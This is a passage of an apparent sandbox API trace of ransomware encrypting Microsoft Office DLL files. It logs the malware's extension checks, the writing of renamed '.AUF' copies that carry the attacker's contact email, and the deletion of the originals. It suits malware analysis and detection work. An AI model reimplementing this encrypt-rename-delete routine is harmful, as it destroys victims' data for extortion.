lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0219.306] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.324] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0219.324] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0219.324] ReadFile (in: hFile=0x1f8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.347] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.347] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x30dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0219.362] SetEndOfFile (hFile=0x1f8) returned 1 [0219.365] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0219.365] WriteFile (in: hFile=0x1f8, lpBuffer=0x40c9008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x40c9008*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.366] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0219.366] WriteFile (in: hFile=0x1f8, lpBuffer=0x40c9008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x40c9008*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.428] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc7c | out: lpNewFilePointer=0x0) returned 1 [0219.428] WriteFile (in: hFile=0x1f8, lpBuffer=0x40c9008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x30dfc88, lpOverlapped=0x0 | out: lpBuffer=0x40c9008*, lpNumberOfBytesWritten=0x30dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.431] CloseHandle (hObject=0x1f8) returned 1 [0219.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.431] lstrlenW (lpString=".doc") returned 4 [0219.431] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.431] lstrlenW (lpString=".docx") returned 5 [0219.431] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.431] lstrlenW (lpString=".pdf") returned 4 [0219.431] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.431] lstrlenW (lpString=".xls") returned 4 [0219.431] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.431] lstrlenW (lpString=".xlsx") returned 5 [0219.431] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.431] lstrlenW (lpString=".ppt") returned 4 [0219.431] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.431] lstrlenW (lpString=".zip") returned 4 [0219.431] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.431] lstrlenW (lpString=".rar") returned 4 [0219.431] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.431] lstrlenW (lpString=".bz2") returned 4 [0219.431] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.432] lstrlenW (lpString=".7z") returned 3 [0219.432] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.432] lstrlenW (lpString=".dbf") returned 4 [0219.432] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.432] lstrlenW (lpString=".1cd") returned 4 [0219.432] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.432] lstrlenW (lpString=".jpg") returned 4 [0219.432] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.432] lstrlenW (lpString=".doc") returned 4 [0219.432] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.432] lstrlenW (lpString=".docx") returned 5 [0219.432] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.432] lstrlenW (lpString=".pdf") returned 4 [0219.432] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.432] lstrlenW (lpString=".xls") returned 4 [0219.432] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.432] lstrlenW (lpString=".xlsx") returned 5 [0219.432] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.432] lstrlenW (lpString=".ppt") returned 4 [0219.432] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.432] lstrlenW (lpString=".zip") returned 4 [0219.432] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.432] lstrlenW (lpString=".rar") returned 4 [0219.432] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.432] lstrlenW (lpString=".bz2") returned 4 [0219.432] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.432] lstrlenW (lpString=".7z") returned 3 [0219.432] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.432] lstrlenW (lpString=".dbf") returned 4 [0219.432] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.433] lstrlenW (lpString=".1cd") returned 4 [0219.433] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0219.433] lstrlenW (lpString=".jpg") returned 4 [0219.433] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.433] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.433] lstrlenW (lpString="ACEES.DLL") returned 9 [0219.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0219.436] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=1012648) returned 1 [0219.436] CloseHandle (hObject=0x184) returned 1 [0219.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0219.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0219.436] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.436] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0219.437] GetLastError () returned 0x0 [0219.437] ReadFile (in: hFile=0x184, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xf73a8, lpOverlapped=0x0) returned 1 [0219.748] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xf73b0, lpOverlapped=0x0) returned 1 [0219.782] ReadFile (in: hFile=0x184, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.782] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0219.782] SetEndOfFile (hFile=0x168) returned 1 [0219.782] CloseHandle (hObject=0x168) returned 1 [0219.782] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.782] SetEndOfFile (hFile=0x184) returned 1 [0219.789] CloseHandle (hObject=0x184) returned 1 [0219.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.951] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 1 [0220.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.029] lstrlenW (lpString=".doc") returned 4 [0220.029] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.029] lstrlenW (lpString=".docx") returned 5 [0220.029] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0220.029] lstrlenW (lpString=".pdf") returned 4 [0220.029] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.029] lstrlenW (lpString=".xls") returned 4 [0220.029] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.029] lstrlenW (lpString=".xlsx") returned 5 [0220.029] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0220.029] lstrlenW (lpString=".ppt") returned 4 [0220.029] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".zip") returned 4 [0220.030] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString=".rar") returned 4 [0220.030] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString=".bz2") returned 4 [0220.030] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.030] lstrlenW (lpString=".7z") returned 3 [0220.030] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".dbf") returned 4 [0220.030] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".1cd") returned 4 [0220.030] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".jpg") returned 4 [0220.030] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".doc") returned 4 [0220.030] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString=".docx") returned 5 [0220.030] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0220.030] lstrlenW (lpString=".pdf") returned 4 [0220.030] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString=".xls") returned 4 [0220.030] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString=".xlsx") returned 5 [0220.030] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0220.030] lstrlenW (lpString=".ppt") returned 4 [0220.030] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".zip") returned 4 [0220.030] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString=".rar") returned 4 [0220.030] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.030] lstrlenW (lpString=".bz2") returned 4 [0220.030] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.030] lstrlenW (lpString=".7z") returned 3 [0220.030] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".dbf") returned 4 [0220.030] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".1cd") returned 4 [0220.030] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0220.030] lstrlenW (lpString=".jpg") returned 4 [0220.030] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.031] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.031] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0220.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.232] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=15800) returned 1 [0220.232] CloseHandle (hObject=0x22c) returned 1 [0220.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0220.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.233] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.233] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0220.233] GetLastError () returned 0x0 [0220.233] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x3db8, lpOverlapped=0x0) returned 1 [0220.238] WriteFile (in: hFile=0x230, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0220.239] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.239] WriteFile (in: hFile=0x230, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.239] SetEndOfFile (hFile=0x230) returned 1 [0220.239] CloseHandle (hObject=0x230) returned 1 [0220.239] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.239] SetEndOfFile (hFile=0x22c) returned 1 [0220.240] CloseHandle (hObject=0x22c) returned 1 [0220.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.240] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 1 [0220.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.240] lstrlenW (lpString=".doc") returned 4 [0220.240] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.240] lstrlenW (lpString=".docx") returned 5 [0220.240] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0220.240] lstrlenW (lpString=".pdf") returned 4 [0220.240] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.240] lstrlenW (lpString=".xls") returned 4 [0220.240] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.240] lstrlenW (lpString=".xlsx") returned 5 [0220.240] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0220.240] lstrlenW (lpString=".ppt") returned 4 [0220.240] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.240] lstrlenW (lpString=".zip") returned 4 [0220.240] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.240] lstrlenW (lpString=".rar") returned 4 [0220.240] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.240] lstrlenW (lpString=".bz2") returned 4 [0220.240] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.240] lstrlenW (lpString=".7z") returned 3 [0220.241] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.241] lstrlenW (lpString=".dbf") returned 4 [0220.241] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.241] lstrlenW (lpString=".1cd") returned 4 [0220.241] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.241] lstrlenW (lpString=".jpg") returned 4 [0220.241] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.241] lstrlenW (lpString=".doc") returned 4 [0220.241] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.241] lstrlenW (lpString=".docx") returned 5 [0220.241] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0220.241] lstrlenW (lpString=".pdf") returned 4 [0220.241] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.241] lstrlenW (lpString=".xls") returned 4 [0220.241] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.241] lstrlenW (lpString=".xlsx") returned 5 [0220.241] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0220.241] lstrlenW (lpString=".ppt") returned 4 [0220.241] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.241] lstrlenW (lpString=".zip") returned 4 [0220.241] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.241] lstrlenW (lpString=".rar") returned 4 [0220.241] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.241] lstrlenW (lpString=".bz2") returned 4 [0220.241] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.241] lstrlenW (lpString=".7z") returned 3 [0220.241] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.241] lstrlenW (lpString=".dbf") returned 4 [0220.241] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.242] lstrlenW (lpString=".1cd") returned 4 [0220.242] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0220.242] lstrlenW (lpString=".jpg") returned 4 [0220.242] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.242] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.242] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0220.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0220.246] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=55744) returned 1 [0220.246] CloseHandle (hObject=0x184) returned 1 [0220.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0220.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0220.246] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.246] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: 